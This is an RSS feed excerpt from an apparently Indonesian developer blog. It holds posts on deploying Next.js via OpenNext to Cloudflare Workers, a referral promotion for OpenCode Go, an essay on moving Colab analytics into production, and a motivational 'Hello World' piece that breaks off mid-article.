<p><a href="https://opennext.js.org/?utm_source=chatgpt.com">OpenNext Official Website</a></p>
<p>OpenNext merupakan proyek komunitas yang awalnya dibuat untuk menjalankan Next.js di AWS Lambda, kemudian berkembang menjadi standar lintas platform yang didukung oleh berbagai pihak termasuk Cloudflare dan Netlify. Tujuannya sederhana:</p>
<p><strong>Membuat Next.js benar-benar portable.</strong> (<a href="https://opennext.js.org/?utm_source=chatgpt.com">OpenNext</a>)</p>
<p>Dengan OpenNext, developer dapat:</p>
<ul>
<li><p>Tetap menggunakan Next.js</p>
</li>
<li><p>Tetap mendapatkan SSR</p>
</li>
<li><p>Tetap menggunakan API Routes</p>
</li>
<li><p>Tetap menggunakan Server Actions</p>
</li>
<li><p>Tetap menggunakan ISR</p>
</li>
<li><p>Namun bebas memilih platform deployment</p>
</li>
</ul>
<hr />
<h1>Masalah yang Ingin Diselesaikan OpenNext</h1>
<p>Banyak developer menyukai Next.js karena:</p>
<ul>
<li><p>App Router</p>
</li>
<li><p>React Server Components</p>
</li>
<li><p>SEO yang baik</p>
</li>
<li><p>SSR dan SSG</p>
</li>
<li><p>Developer Experience yang nyaman</p>
</li>
</ul>
<p>Namun ada tantangan:</p>
<pre><code class="language-plaintext">Next.js
    ↓
Vercel Features
    ↓
Vendor Lock-in
</code></pre>
<p>Ketika aplikasi tumbuh besar, biaya hosting bisa meningkat.</p>
<p>Sebagian tim ingin memanfaatkan:</p>
<ul>
<li><p>Cloudflare Workers</p>
</li>
<li><p>AWS Lambda</p>
</li>
<li><p>ECS</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>VPS pribadi</p>
</li>
</ul>
<p>Tetapi tidak ingin menulis ulang aplikasi.</p>
<p>OpenNext hadir sebagai jembatan antara Next.js dan platform-platform tersebut. (<a href="https://opennext.js.org/?utm_source=chatgpt.com">OpenNext</a>)</p>
<hr />
<h1>Bagaimana Cara Kerja OpenNext?</h1>
<p>Secara sederhana:</p>
<pre><code class="language-plaintext">Next.js Project
       ↓
    OpenNext
       ↓
Transform Build
       ↓
Cloudflare / AWS / Netlify
</code></pre>
<p>OpenNext mengubah hasil build Next.js menjadi format yang dapat dipahami oleh platform target. (<a href="https://blog.cloudflare.com/deploying-nextjs-apps-to-cloudflare-workers-with-the-opennext-adapter?utm_source=chatgpt.com">The Cloudflare Blog</a>)</p>
<p>Developer tetap menulis kode Next.js seperti biasa.</p>
<hr />
<h1>OpenNext dan Cloudflare Workers</h1>
<p>Salah satu kombinasi paling menarik saat ini adalah:</p>
<pre><code class="language-plaintext">Next.js + OpenNext + Cloudflare Workers
</code></pre>
<p>Cloudflare secara resmi merekomendasikan adapter OpenNext untuk menjalankan Next.js di Workers. (<a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Docs</a>)</p>
<p>Keuntungan yang didapat:</p>
<ul>
<li><p>Deploy global ke ratusan edge location</p>
</li>
<li><p>Latensi rendah</p>
</li>
<li><p>Skalabilitas tinggi</p>
</li>
<li><p>Tidak perlu mengelola server</p>
</li>
<li><p>Biaya relatif murah</p>
</li>
</ul>
<hr />
<h1>Fitur Next.js yang Didukung</h1>
<p>Saat ini adapter Cloudflare OpenNext mendukung hampir seluruh fitur utama Next.js, termasuk: (<a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Docs</a>)</p>
<table>
<thead>
<tr>
<th>Fitur</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>App Router</td>
<td>✅</td>
</tr>
<tr>
<td>Pages Router</td>
<td>✅</td>
</tr>
<tr>
<td>SSR</td>
<td>✅</td>
</tr>
<tr>
<td>SSG</td>
<td>✅</td>
</tr>
<tr>
<td>ISR</td>
<td>✅</td>
</tr>
<tr>
<td>API Routes</td>
<td>✅</td>
</tr>
<tr>
<td>Middleware</td>
<td>✅</td>
</tr>
<tr>
<td>Server Actions</td>
<td>✅</td>
</tr>
<tr>
<td>Streaming</td>
<td>✅</td>
</tr>
<tr>
<td>React Server Components</td>
<td>✅</td>
</tr>
<tr>
<td>Image Optimization</td>
<td>✅</td>
</tr>
<tr>
<td>Partial Prerendering</td>
<td>✅</td>
</tr>
</tbody></table>
<p>Artinya sebagian besar aplikasi Next.js modern dapat dipindahkan ke Cloudflare tanpa perubahan besar. (<a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Docs</a>)</p>
<hr />
<h1>Instalasi OpenNext di Cloudflare</h1>
<p>Untuk proyek baru:</p>
<pre><code class="language-bash">npm create cloudflare@latest my-next-app --framework=next --platform=workers
</code></pre>
<p>Untuk proyek yang sudah ada:</p>
<pre><code class="language-bash">npx @opennextjs/cloudflare migrate
</code></pre>
<p>Perintah migrasi tersebut akan mengotomatisasi sebagian besar konfigurasi yang diperlukan. (<a href="https://opennext.js.org/cloudflare/get-started?utm_source=chatgpt.com">OpenNext</a>)</p>
<hr />
<h1>Kapan OpenNext Sangat Cocok Digunakan?</h1>
<h2>1. Ingin Mengurangi Biaya Hosting</h2>
<p>Vercel sangat nyaman.</p>
<p>Tetapi ketika trafik meningkat:</p>
<ul>
<li><p>SSR bertambah</p>
</li>
<li><p>API bertambah</p>
</li>
<li><p>Image Optimization bertambah</p>
</li>
</ul>
<p>Biaya dapat meningkat signifikan.</p>
<p>OpenNext memungkinkan memanfaatkan infrastruktur lain yang mungkin lebih ekonomis.</p>
<hr />
<h2>2. Sudah Menggunakan Cloudflare</h2>
<p>Misalnya Anda sudah memakai:</p>
<ul>
<li><p>Cloudflare DNS</p>
</li>
<li><p>Cloudflare R2</p>
</li>
<li><p>Cloudflare KV</p>
</li>
<li><p>Cloudflare D1</p>
</li>
<li><p>Cloudflare Queues</p>
</li>
</ul>
<p>Maka menjalankan Next.js langsung di Workers menjadi pilihan menarik. (<a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Docs</a>)</p>
<hr />
<h2>3. Ingin Menghindari Vendor Lock-In</h2>
<p>Arsitektur menjadi:</p>
<pre><code class="language-plaintext">Next.js
     ↓
OpenNext
     ↓
Platform Bebas
</code></pre>
<p>Jika suatu hari ingin pindah dari Cloudflare ke AWS atau sebaliknya, proses migrasi lebih mudah.</p>
<hr />
<h1>Kelebihan OpenNext</h1>
<h3>Fleksibel</h3>
<p>Tidak terkunci pada satu provider.</p>
<h3>Open Source</h3>
<p>Kode dapat diaudit dan dikembangkan komunitas.</p>
<h3>Mendukung Fitur Modern Next.js</h3>
<p>SSR, ISR, Server Actions, App Router, dan lainnya. (<a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Docs</a>)</p>
<h3>Cocok untuk Scale Besar</h3>
<p>Dapat memanfaatkan infrastruktur cloud pilihan sendiri.</p>
<hr />
<h1>Kekurangan OpenNext</h1>
<p>Tidak ada teknologi yang sempurna.</p>
<p>Beberapa tantangan yang sering ditemui developer:</p>
<h3>Dokumentasi Lebih Kompleks</h3>
<p>Deploy ke Vercel biasanya hanya beberapa klik.</p>
<p>OpenNext memerlukan pemahaman lebih mengenai:</p>
<ul>
<li><p>Cloudflare Workers</p>
</li>
<li><p>R2</p>
</li>
<li><p>Cache</p>
</li>
<li><p>Bindings</p>
</li>
<li><p>Environment Variables</p>
</li>
</ul>
<h3>Kadang Tertinggal dari Fitur Terbaru Next.js</h3>
<p>Karena OpenNext harus menyesuaikan perubahan dari Next.js, kadang ada jeda sebelum fitur terbaru didukung penuh. Beberapa diskusi komunitas juga menyebutkan bahwa upgrade versi tertentu dapat memerlukan penyesuaian tambahan. (<a href="https://www.reddit.com/r/CloudFlare/comments/1ptvhto/discussion_building_a_nextjslike_fullstack/?utm_source=chatgpt.com">Reddit</a>)</p>
<h3>Konfigurasi Cache</h3>
<p>ISR dan caching membutuhkan pemahaman lebih dibanding deployment langsung ke Vercel. Beberapa pengguna melaporkan perlu melakukan tuning tambahan pada konfigurasi cache Cloudflare. (<a href="https://www.reddit.com/r/nextjs/comments/1qow6ju/nextjs_on_cloudflare_workers_opennext_isr_cache/?utm_source=chatgpt.com">Reddit</a>)</p>
<hr />
<h1>Apakah OpenNext Sudah Siap untuk Production?</h1>
<p>Secara umum: <strong>ya</strong>.</p>
<p>Cloudflare sendiri mengembangkan adapter resmi OpenNext untuk platform mereka dan menjadikannya jalur utama deployment Next.js di Workers. (<a href="https://blog.cloudflare.com/deploying-nextjs-apps-to-cloudflare-workers-with-the-opennext-adapter?utm_source=chatgpt.com">The Cloudflare Blog</a>)</p>
<p>Banyak tim telah menjalankan aplikasi production menggunakan kombinasi:</p>
<pre><code class="language-plaintext">Next.js
+
OpenNext
+
Cloudflare Workers
</code></pre>
<p>meskipun seperti teknologi lainnya tetap perlu pengujian sesuai kebutuhan aplikasi masing-masing. (<a href="https://www.reddit.com/r/nextjs/comments/1llty98?utm_source=chatgpt.com">Reddit</a>)</p>
<hr />
<h1>Kesimpulan</h1>
<p>OpenNext adalah salah satu proyek paling penting dalam ekosistem Next.js saat ini.</p>
<p>Ia mengubah paradigma:</p>
<p><strong>Dulu:</strong></p>
<pre><code class="language-plaintext">Next.js → Vercel
</code></pre>
<p><strong>Sekarang:</strong></p>
<pre><code class="language-plaintext">Next.js
    ↓
 OpenNext
    ↓
Cloudflare
AWS
Netlify
VPS
Kubernetes
dan lainnya
</code></pre>
<p>Bagi developer yang ingin tetap menikmati kenyamanan Next.js tetapi menginginkan kebebasan memilih infrastruktur, OpenNext adalah solusi yang sangat layak dipelajari.</p>
<p>Masa depan pengembangan web bukan hanya tentang framework terbaik, tetapi juga tentang <strong>kebebasan memilih tempat menjalankan aplikasi tanpa harus menulis ulang kode</strong>. OpenNext membawa Next.js lebih dekat ke visi tersebut. 🚀</p>
<p><strong>Referensi:</strong></p>
<ul>
<li><p><a href="https://opennext.js.org/?utm_source=chatgpt.com">OpenNext Documentation</a></p>
</li>
<li><p><a href="https://opennext.js.org/cloudflare/get-started?utm_source=chatgpt.com">OpenNext Cloudflare Guide</a></p>
</li>
<li><p><a href="https://developers.cloudflare.com/workers/frameworks/framework-guides/nextjs/?utm_source=chatgpt.com">Cloudflare Next.js Documentation</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Jangan Langganan OpenCode Go Sebelum Ambil Bonus $5 Ini]]></title><description><![CDATA[Saat pertama kali mencoba OpenCode Go, saya hampir langsung berlangganan tanpa membaca detail program yang mereka sediakan.
Untungnya saya menemukan bahwa OpenCode memiliki program referral yang membe]]></description><link>https://tech.finlup.id/jangan-langganan-opencode-go-sebelum-ambil-bonus-5-ini</link><guid isPermaLink="true">https://tech.finlup.id/jangan-langganan-opencode-go-sebelum-ambil-bonus-5-ini</guid><category><![CDATA[opencode]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[programing]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Wed, 03 Jun 2026 10:45:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/dd2b9256-17ed-47c7-b1f6-94286a0ef69c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Saat pertama kali mencoba OpenCode Go, saya hampir langsung berlangganan tanpa membaca detail program yang mereka sediakan.</p>
<p>Untungnya saya menemukan bahwa OpenCode memiliki program referral yang memberikan <strong>kredit penggunaan $5</strong> kepada pengguna baru yang berlangganan melalui link referral. Yang lebih menarik, bukan hanya pengguna baru yang mendapatkan bonus tersebut, tetapi pemberi referral juga mendapatkan kredit yang sama.</p>
<p>Jika Anda memang berencana menggunakan OpenCode Go, bonus ini sayang untuk dilewatkan karena prosesnya sangat sederhana dan tidak ada biaya tambahan.</p>
<hr />
<h2>Apa Itu OpenCode Go?</h2>
<p>OpenCode Go adalah layanan berlangganan yang memberikan akses ke berbagai model AI modern untuk membantu aktivitas coding sehari-hari.</p>
<p>Bagi developer, AI saat ini bukan lagi sekadar alat bantu membuat kode, tetapi sudah menjadi partner untuk:</p>
<ul>
<li><p>Debugging aplikasi</p>
</li>
<li><p>Refactoring kode lama</p>
</li>
<li><p>Membuat API lebih cepat</p>
</li>
<li><p>Menulis dokumentasi</p>
</li>
<li><p>Membantu memahami codebase yang besar</p>
</li>
<li><p>Membuat prototype dalam hitungan menit</p>
</li>
</ul>
<p>Karena itulah semakin banyak developer yang mulai mencari alternatif AI coding yang lebih fleksibel dan terjangkau.</p>
<hr />
<h2>Bonus $5 yang Banyak Orang Lewatkan</h2>
<p>Banyak orang langsung berlangganan OpenCode Go tanpa menyadari bahwa ada program referral resmi.</p>
<p>Padahal jika menggunakan link referral sebelum berlangganan:</p>
<p>✅ Anda mendapatkan kredit penggunaan $5</p>
<p>✅ Pemberi referral juga mendapatkan kredit $5</p>
<p>Tidak ada biaya tambahan.</p>
<p>Tidak ada potongan fitur.</p>
<p>Tidak ada syarat yang rumit.</p>
<p>Anda hanya perlu mendaftar dan mengaktifkan langganan Go melalui link referral.</p>
<hr />
<h2>Memang Hanya $5, Apakah Berarti?</h2>
<p>Sekilas mungkin terlihat kecil.</p>
<p>Namun jika dipikirkan kembali, kredit penggunaan tambahan tetaplah kredit yang bisa digunakan untuk aktivitas coding Anda.</p>
<p>Daripada membayar harga penuh dan tidak mendapatkan apa pun, tentu lebih baik memperoleh tambahan kredit yang memang sudah disediakan oleh program resmi OpenCode.</p>
<p>Karena itu, jika tujuan Anda memang ingin mencoba OpenCode Go, mengambil bonus ini adalah langkah yang logis.</p>
<hr />
<h2>Cara Mendapatkan Bonus $5</h2>
<p>Prosesnya hanya membutuhkan beberapa menit:</p>
<h3>1. Buka Link Referral</h3>
<p>👉 <a href="https://opencode.ai/go?ref=2SRK68YY52"><strong>https://opencode.ai/go?ref=2SRK68YY52</strong></a></p>
<h3>2. Buat Akun OpenCode</h3>
<p>Daftar menggunakan akun yang Anda inginkan.</p>
<h3>3. Aktifkan Langganan Go</h3>
<p>Pilih paket Go yang sesuai kebutuhan Anda.</p>
<h3>4. Kredit $5 Akan Ditambahkan</h3>
<p>Setelah langganan aktif, Anda akan memenuhi syarat untuk mendapatkan kredit penggunaan tambahan sesuai program referral yang berlaku.</p>
<hr />
<h2>Siapa yang Cocok Menggunakan OpenCode Go?</h2>
<p>Menurut saya OpenCode Go cukup menarik untuk:</p>
<ul>
<li><p>Freelancer</p>
</li>
<li><p>Fullstack Developer</p>
</li>
<li><p>Backend Developer</p>
</li>
<li><p>Mahasiswa IT</p>
</li>
<li><p>Santri IT</p>
</li>
<li><p>Indie Hacker</p>
</li>
<li><p>Founder startup kecil</p>
</li>
</ul>
<p>Terutama jika Anda sering menggunakan AI untuk mempercepat proses pengembangan aplikasi.</p>
<hr />
<h2>Kesimpulan</h2>
<p>Jika Anda memang sudah berencana menggunakan OpenCode Go, tidak ada alasan untuk melewatkan bonus ini.</p>
<p>Program referral tersebut resmi, prosesnya sederhana, dan Anda mendapatkan tambahan kredit penggunaan tanpa perlu mengeluarkan biaya ekstra.</p>
<p>Daripada mendaftar tanpa bonus, lebih baik manfaatkan kesempatan yang sudah tersedia.</p>
<h3>🎁 Klaim Bonus $5 OpenCode Go</h3>
<p>👉 <a href="https://opencode.ai/go?ref=2SRK68YY52"><strong>https://opencode.ai/go?ref=2SRK68YY52</strong></a></p>
<p>Daftar, aktifkan Go, dan nikmati kredit penggunaan tambahan untuk membantu aktivitas coding Anda.</p>
]]></content:encoded></item><item><title><![CDATA[From Google Colab to Production: Bridging Data Analysis and Web Applications]]></title><description><![CDATA[By Ariska Hidayat
When people think about data analytics, they often imagine spreadsheets, Python scripts, Jupyter Notebooks, or Google Colab.
When people think about software engineering, they think ]]></description><link>https://tech.finlup.id/from-google-colab-to-production-bridging-data-analysis-and-web-applications</link><guid isPermaLink="true">https://tech.finlup.id/from-google-colab-to-production-bridging-data-analysis-and-web-applications</guid><category><![CDATA[Node.js]]></category><category><![CDATA[Python]]></category><category><![CDATA[pandas]]></category><category><![CDATA[PostgreSQL]]></category><category><![CDATA[Backend Development]]></category><category><![CDATA[data analytics]]></category><category><![CDATA[Software Engineering]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Tue, 02 Jun 2026 11:39:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/46fa4b55-2aa8-4185-9f98-d7e36e5f9904.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>By Ariska Hidayat</em></p>
<p>When people think about data analytics, they often imagine spreadsheets, Python scripts, Jupyter Notebooks, or Google Colab.</p>
<p>When people think about software engineering, they think about APIs, databases, web applications, and cloud infrastructure.</p>
<p>In reality, many organizations need both.</p>
<p>A data analysis project may start in Google Colab, but eventually someone asks:</p>
<ul>
<li><p>Can this be accessed by other team members?</p>
</li>
<li><p>Can this run automatically every day?</p>
</li>
<li><p>Can this be connected to our application?</p>
</li>
<li><p>Can we provide this through an API?</p>
</li>
<li><p>Can managers view the results from a dashboard?</p>
</li>
</ul>
<p>This is where the gap between data analysis and software engineering becomes visible.</p>
<hr />
<h2>The Challenge</h2>
<p>Google Colab is an excellent environment for experimentation and analysis.</p>
<p>Data analysts can quickly:</p>
<ul>
<li><p>Import datasets</p>
</li>
<li><p>Clean data</p>
</li>
<li><p>Build reports</p>
</li>
<li><p>Create visualizations</p>
</li>
<li><p>Explore business trends</p>
</li>
</ul>
<p>A typical workflow looks like this:</p>
<pre><code class="language-text">CSV / Database
        ↓
Google Colab
        ↓
Pandas Analysis
        ↓
Charts &amp; Insights
</code></pre>
<p>This works well during the research phase.</p>
<p>However, when the analysis needs to serve real users, new challenges emerge.</p>
<p>Organizations often need:</p>
<ul>
<li><p>Authentication</p>
</li>
<li><p>APIs</p>
</li>
<li><p>Databases</p>
</li>
<li><p>Scheduled processing</p>
</li>
<li><p>Dashboards</p>
</li>
<li><p>Deployment</p>
</li>
<li><p>Monitoring</p>
</li>
</ul>
<p>These requirements extend beyond the scope of a notebook environment.</p>
<hr />
<h2>Where I Fit In</h2>
<p>I'm a Fullstack Developer with a strong interest in backend systems, databases, and deployment infrastructure.</p>
<p>Rather than focusing solely on data analysis itself, I'm interested in helping transform analytical workflows into production-ready applications.</p>
<p>My work typically involves:</p>
<ul>
<li><p>Backend API development</p>
</li>
<li><p>PostgreSQL database design</p>
</li>
<li><p>VPS deployment</p>
</li>
<li><p>Infrastructure setup</p>
</li>
<li><p>System integration</p>
</li>
<li><p>Analytics integration</p>
</li>
</ul>
<p>In other words:</p>
<blockquote>
<p>Data analysts generate insights. I help make those insights accessible through applications.</p>
</blockquote>
<hr />
<h2>From Notebook to Application</h2>
<p>A common evolution of a project looks like this:</p>
<pre><code class="language-text">Google Colab
        ↓
Python Script
        ↓
Backend API
        ↓
PostgreSQL
        ↓
Frontend Dashboard
        ↓
Production Deployment
</code></pre>
<p>At this stage, the analysis is no longer limited to the notebook author.</p>
<p>The results become available to:</p>
<ul>
<li><p>Business owners</p>
</li>
<li><p>Managers</p>
</li>
<li><p>Sales teams</p>
</li>
<li><p>Customers</p>
</li>
<li><p>Mobile applications</p>
</li>
<li><p>External systems</p>
</li>
</ul>
<p>This transformation is where software engineering creates additional business value.</p>
<hr />
<h2>An Experiment: Express Pandas Analytics</h2>
<p>To explore this idea, I built a small project that combines web development and data analytics concepts.</p>
<img src="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/ebf45811-738d-4b45-b287-0e0c241c7a88.png" alt="" style="display:block;margin:0 auto" />

<h3>Live Demo</h3>
<p><a href="https://express-pandas-analytics-demo.finlup.id?utm_source=chatgpt.com">express-pandas-analytics Demo</a></p>
<h3>Source Code</h3>
<p><a href="https://github.com/Ariska138/express-pandas-analytics?utm_source=chatgpt.com">express-pandas-analytics on GitHub</a></p>
<p>The goal is straightforward:</p>
<ul>
<li><p>Process analytical data using Python and Pandas.</p>
</li>
<li><p>Expose results through web APIs.</p>
</li>
<li><p>Make analytics accessible to web applications and dashboards.</p>
</li>
</ul>
<p>Instead of keeping analysis locked inside notebooks, the results can be consumed by other systems.</p>
<hr />
<h2>Why This Matters</h2>
<p>Many businesses already collect large amounts of data.</p>
<p>The challenge is rarely data collection.</p>
<p>The challenge is turning data into information that can be used for decision-making.</p>
<p>A report that exists only inside a notebook has limited reach.</p>
<p>A report that can be accessed through APIs, dashboards, and applications can support daily operations across an organization.</p>
<p>This is one of the reasons I'm interested in the intersection of:</p>
<ul>
<li><p>Software Engineering</p>
</li>
<li><p>Backend Development</p>
</li>
<li><p>Data Analytics</p>
</li>
<li><p>Deployment Infrastructure</p>
</li>
</ul>
<hr />
<h2>Technologies I Enjoy Working With</h2>
<h3>Backend Development</h3>
<ul>
<li><p>Node.js</p>
</li>
<li><p>JavaScript (ESM)</p>
</li>
<li><p>Express</p>
</li>
<li><p>Hono</p>
</li>
</ul>
<h3>Databases</h3>
<ul>
<li><p>PostgreSQL</p>
</li>
<li><p>Drizzle ORM</p>
</li>
</ul>
<h3>Analytics</h3>
<ul>
<li><p>Python</p>
</li>
<li><p>Pandas</p>
</li>
<li><p>Google Colab</p>
</li>
</ul>
<h3>Infrastructure</h3>
<ul>
<li><p>Linux VPS</p>
</li>
<li><p>Nginx</p>
</li>
<li><p>SSL</p>
</li>
<li><p>Self-hosted services</p>
</li>
</ul>
<hr />
<h2>What I'm Exploring</h2>
<p>I'm currently learning more about:</p>
<ul>
<li><p>Data analytics workflows</p>
</li>
<li><p>Business reporting systems</p>
</li>
<li><p>Analytics APIs</p>
</li>
<li><p>Data processing pipelines</p>
</li>
<li><p>Production deployment for analytical applications</p>
</li>
</ul>
<p>My goal is not only to build software that stores data, but also to help make that data useful and accessible.</p>
<hr />
<h2>Let's Connect</h2>
<p>I'm always interested in connecting with:</p>
<ul>
<li><p>Developers</p>
</li>
<li><p>Data Analysts</p>
</li>
<li><p>Startup Founders</p>
</li>
<li><p>Product Teams</p>
</li>
<li><p>Small Business Owners</p>
</li>
</ul>
<p>Especially those working on projects that combine:</p>
<ul>
<li><p>Web applications</p>
</li>
<li><p>Backend systems</p>
</li>
<li><p>PostgreSQL</p>
</li>
<li><p>Analytics workflows</p>
</li>
<li><p>Data-driven decision making</p>
</li>
</ul>
<p>If you're building analytical solutions in Google Colab and looking for ways to bring them into production environments, I'd love to exchange ideas and learn from your experience.</p>
<p>Because the journey doesn't end when an analysis is completed.</p>
<p>Often, that's where the real work begins.</p>
]]></content:encoded></item><item><title><![CDATA[🌱 Saat Anda Membuat Hello World, Anda Sudah Mengetuk Pintu Dunia]]></title><description><![CDATA["Hello World bukan sekadar program pertama. Itu adalah ketukan pertama pada pintu dunia yang selama ini hanya Anda lihat dari luar."


🤔 "Cuma Hello World, Memangnya Penting?"
Banyak pemula di dunia ]]></description><link>https://tech.finlup.id/saat-anda-membuat-hello-world-anda-sudah-mengetuk-pintu-dunia</link><guid isPermaLink="true">https://tech.finlup.id/saat-anda-membuat-hello-world-anda-sudah-mengetuk-pintu-dunia</guid><category><![CDATA[inspirasi]]></category><category><![CDATA[finlupid]]></category><category><![CDATA[ariska138]]></category><category><![CDATA[Hello World]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Tue, 02 Jun 2026 01:45:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/0b010a75-ec8e-4e35-af9a-0ef10b7ab863.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>"Hello World bukan sekadar program pertama. Itu adalah ketukan pertama pada pintu dunia yang selama ini hanya Anda lihat dari luar."</strong></p>
</blockquote>
<hr />
<h2>🤔 "Cuma Hello World, Memangnya Penting?"</h2>
<p>Banyak pemula di dunia teknologi memiliki reaksi yang sama ketika berhasil menjalankan program pertama mereka:</p>
<pre><code class="language-javascript">console.log("Hello World");
</code></pre>
<p>Lalu muncul pikiran:</p>
<blockquote>
<p>"Cuma begitu?"</p>
<p>"Apa gunanya?"</p>
<p>"Mana bisa menghasilkan uang?"</p>
<p>"Kapan saya bisa membuat aplikasi besar?"</p>
</blockquote>
<p>Tanpa disadari, mereka meremehkan salah satu momen paling penting dalam perjalanan seorang programmer.</p>
<p>Karena sesungguhnya, masalah terbesar pemula bukan kurang pintar.</p>
<p>Bukan kurang berbakat.</p>
<p>Bukan kurang akses belajar.</p>
<p>Masalah terbesar mereka adalah <strong>meremehkan langkah kecil dan terlalu mengagungkan hasil besar</strong>.</p>
<hr />
<h2>🚪 Kebanyakan Orang Hanya Menonton dari Luar</h2>
<p>Bayangkan ada sebuah istana yang sangat besar.</p>
<p>Di dalamnya ada:</p>
<p>💼 Karier teknologi.</p>
<p>🌍 Peluang kerja global.</p>
<p>🚀 Startup.</p>
<p>🤖 Artificial Intelligence.</p>
<p>📱 Aplikasi yang digunakan jutaan orang.</p>
<p>💰 Penghasilan yang lebih baik.</p>
<p>📚 Karya yang bermanfaat untuk masyarakat.</p>
<p>Banyak orang berdiri di luar istana itu.</p>
<p>Mereka menonton video YouTube.</p>
<p>Membaca artikel.</p>
<p>Mengikuti diskusi.</p>
<p>Mengagumi orang-orang sukses di dalamnya.</p>
<p>Namun mereka tidak pernah benar-benar masuk.</p>
<p>Mereka hanya menjadi penonton.</p>
<p>Ketika seseorang berhasil menjalankan <em>Hello World</em>, sebenarnya ia sedang melakukan sesuatu yang berbeda.</p>
<p>Ia sedang mengetuk pintu istana tersebut untuk pertama kalinya.</p>
<p>Pintunya mungkin belum terbuka.</p>
<p>Ia mungkin belum masuk.</p>
<p>Tetapi ia sudah jauh lebih dekat daripada orang yang hanya berdiri di luar sambil bermimpi.</p>
<hr />
<h2>🌱 Hello World adalah Bukti Bahwa Anda Sudah Bergerak</h2>
<p>Banyak orang hanya memiliki niat.</p>
<p>Sedikit yang memiliki tindakan.</p>
<p>Ada perbedaan besar antara:</p>
<blockquote>
<p>"Saya ingin belajar programming."</p>
</blockquote>
<p>dan</p>
<blockquote>
<p>"Saya sudah menjalankan program pertama."</p>
</blockquote>
<p>Kalimat kedua menunjukkan sesuatu yang penting.</p>
<p>Anda sudah:</p>
<p>✅ Menginstal alat yang diperlukan.</p>
<p>✅ Menghadapi error pertama.</p>
<p>✅ Mencari solusi pertama.</p>
<p>✅ Menulis kode pertama.</p>
<p>✅ Menjalankan program pertama.</p>
<p>Secara teknis mungkin sederhana.</p>
<p>Namun secara mental, Anda telah melewati penghalang yang tidak mampu dilewati oleh banyak orang.</p>
<p>Anda tidak lagi hanya memiliki mimpi.</p>
<p>Anda sudah mulai bergerak.</p>
<hr />
<h2>⚠️ Kesalahan yang Membuat Banyak Orang Menyerah</h2>
<p>Di era media sosial, banyak pemula melihat hasil tanpa melihat proses.</p>
<p>Mereka melihat:</p>
<ul>
<li><p>Developer dengan gaji tinggi.</p>
</li>
<li><p>Founder startup yang sukses.</p>
</li>
<li><p>AI engineer yang hebat.</p>
</li>
<li><p>Freelancer dengan klien luar negeri.</p>
</li>
</ul>
<p>Lalu mereka membandingkan diri dengan orang-orang tersebut.</p>
<p>Masalahnya, mereka membandingkan <strong>bab pertama</strong> hidup mereka dengan <strong>bab ke-20</strong> kehidupan orang lain.</p>
<p>Mereka lupa bahwa hampir semua programmer hebat pernah berada pada titik yang sama.</p>
<p>Mereka juga pernah:</p>
<ul>
<li><p>Bingung dengan variabel.</p>
</li>
<li><p>Salah menulis sintaks.</p>
</li>
<li><p>Menghabiskan waktu berjam-jam karena satu error.</p>
</li>
<li><p>Membuat Hello World.</p>
</li>
</ul>
<p>Tidak ada yang langsung menjadi ahli.</p>
<p>Tidak ada yang langsung membangun aplikasi besar.</p>
<p>Tidak ada yang langsung menghasilkan uang dari coding.</p>
<hr />
<h2>🌾 Dunia IT Mengikuti Hukum Akumulasi</h2>
<p>Banyak orang ingin hasil yang instan.</p>
<p>Padahal dunia teknologi bekerja dengan prinsip yang berbeda.</p>
<p>Satu <em>Hello World</em>.</p>
<p>Lalu satu variabel.</p>
<p>Lalu satu fungsi.</p>
<p>Lalu satu API.</p>
<p>Lalu satu database.</p>
<p>Lalu satu aplikasi kecil.</p>
<p>Lalu satu proyek nyata.</p>
<p>Lalu satu klien.</p>
<p>Lalu satu peluang kerja.</p>
<p>Semuanya bertumbuh sedikit demi sedikit.</p>
<p>Seperti petani yang menanam benih.</p>
<p>Benih tidak menghasilkan buah pada hari yang sama.</p>
<p>Namun tanpa benih, tidak akan pernah ada panen.</p>
<p>Begitu pula dalam dunia IT.</p>
<p><strong>Hello World bukan hasil akhir.</strong></p>
<p><strong>Hello World adalah benih.</strong></p>
<hr />
<h2>🎯 Jangan Fokus pada Uang Terlalu Cepat</h2>
<p>Salah satu penyebab banyak orang kehilangan semangat belajar adalah karena mereka terlalu cepat bertanya:</p>
<blockquote>
<p>"Kapan saya menghasilkan uang?"</p>
</blockquote>
<p>Padahal pertanyaan yang lebih penting adalah:</p>
<blockquote>
<p>"Apakah saya sedang bertumbuh?"</p>
</blockquote>
<p>Karena hampir semua penghasilan besar di bidang teknologi berawal dari kemampuan kecil yang dipelajari secara konsisten.</p>
<p>Ketika seseorang belajar:</p>
<ul>
<li><p>Cara berpikir logis.</p>
</li>
<li><p>Cara memecahkan masalah.</p>
</li>
<li><p>Cara memahami sistem.</p>
</li>
<li><p>Cara membangun solusi.</p>
</li>
</ul>
<p>Maka ia sedang membangun aset yang nilainya jauh lebih besar daripada sekadar uang jangka pendek.</p>
<hr />
<h2>🧠 Mindset yang Mengubah Segalanya</h2>
